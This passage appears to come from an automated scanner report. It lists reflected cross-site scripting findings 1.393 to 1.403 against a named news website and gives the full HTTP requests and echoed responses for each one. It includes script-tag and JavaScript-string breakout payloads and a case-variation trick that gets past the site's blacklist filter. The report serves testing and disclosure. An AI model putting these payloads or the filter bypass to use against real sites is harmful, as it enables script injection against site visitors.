Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:32 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459972"
Content-Type: text/html; charset=utf-8
Content-Length: 58248
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:42 GMT
X-Varnish: 1959721463
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesa3be6"><script>alert(1)</script>0c0d53b31df/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531"/>
...[SNIP]...

1.393. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd0e7"-alert(1)-"26b0a438fe8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itwbd0e7"-alert(1)-"26b0a438fe8/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:35 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460215"
Content-Type: text/html; charset=utf-8
Content-Length: 58035
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:45 GMT
X-Varnish: 252447480
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itwbd0e7"-alert(1)-"26b0a438fe8/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="5
...[SNIP]...

1.394. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11f2a"><script>alert(1)</script>61c08e56185 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw11f2a"><script>alert(1)</script>61c08e56185/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 58249
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:30 GMT
X-Varnish: 252446275
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw11f2a"><script>alert(1)</script>61c08e56185/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531"/>
...[SNIP]...

1.395. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa125"-alert(1)-"cea2ec4267a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modulesaa125"-alert(1)-"cea2ec4267a/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460278"
Content-Type: text/html; charset=utf-8
Content-Length: 58035
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:48 GMT
X-Varnish: 1038158731
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modulesaa125"-alert(1)-"cea2ec4267a/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s
...[SNIP]...

1.396. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eefc1"><ScRiPt>alert(1)</ScRiPt>4a9d1596a09 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /sites/all/modules/itw/moduleseefc1"><ScRiPt>alert(1)</ScRiPt>4a9d1596a09/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460266"
Content-Type: text/html; charset=utf-8
Content-Length: 58254
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:28 GMT
X-Varnish: 1038158408
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/moduleseefc1"><ScRiPt>alert(1)</ScRiPt>4a9d1596a09/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531"/>
...[SNIP]...

1.397. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e4108"-alert(1)-"93d3672572b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_adse4108"-alert(1)-"93d3672572b/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460329"
Content-Type: text/html; charset=utf-8
Content-Length: 58034
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:39 GMT
X-Varnish: 1038160509
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
h";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_adse4108"-alert(1)-"93d3672572b/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12=
...[SNIP]...

1.398. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 565f0"><script>alert(1)</script>5a031acb66c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads565f0"><script>alert(1)</script>5a031acb66c/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460306"
Content-Type: text/html; charset=utf-8
Content-Length: 58255
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:13 GMT
X-Varnish: 1038159781
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads565f0"><script>alert(1)</script>5a031acb66c/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531"/>
...[SNIP]...

1.399. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bac79"><script>alert(1)</script>4f36978264a was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_adsbac79"><script>alert(1)</script>4f36978264a/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:29 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460389"
Content-Type: text/html; charset=utf-8
Content-Length: 58255
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:37 GMT
X-Varnish: 1038162292
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_adsbac79"><script>alert(1)</script>4f36978264a/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531"/>
...[SNIP]...

1.400. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9ff8"-alert(1)-"c9643eb95f2 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_adsf9ff8"-alert(1)-"c9643eb95f2/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460403"
Content-Type: text/html; charset=utf-8
Content-Length: 58035
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:45 GMT
X-Varnish: 1038162560
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
08-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/doubleclick_adsf9ff8"-alert(1)-"c9643eb95f2/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn
...[SNIP]...

1.401. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7044"><script>alert(1)</script>fd4fa00698c was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4f7044"><script>alert(1)</script>fd4fa00698c/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460418"
Content-Type: text/html; charset=utf-8
Content-Length: 58253
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:59 GMT
X-Varnish: 1038163171
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4f7044"><script>alert(1)</script>fd4fa00698c/doubleclick_ads.js?2531"/>
...[SNIP]...

1.402. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42324"-alert(1)-"b73164d9c8f was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.442324"-alert(1)-"b73164d9c8f/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460425"
Content-Type: text/html; charset=utf-8
Content-Length: 58033
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:11 GMT
X-Varnish: 1038163254
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
7="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.442324"-alert(1)-"b73164d9c8f/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.403. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96296"-alert(1)-"7e2f63e2870 was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js96296"-alert(1)-"7e2f63e2870?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460458"
Content-Type: text/html; charset=utf-8
Content-Length: 58027
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:41 GMT
X-Varnish: 1038164377
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
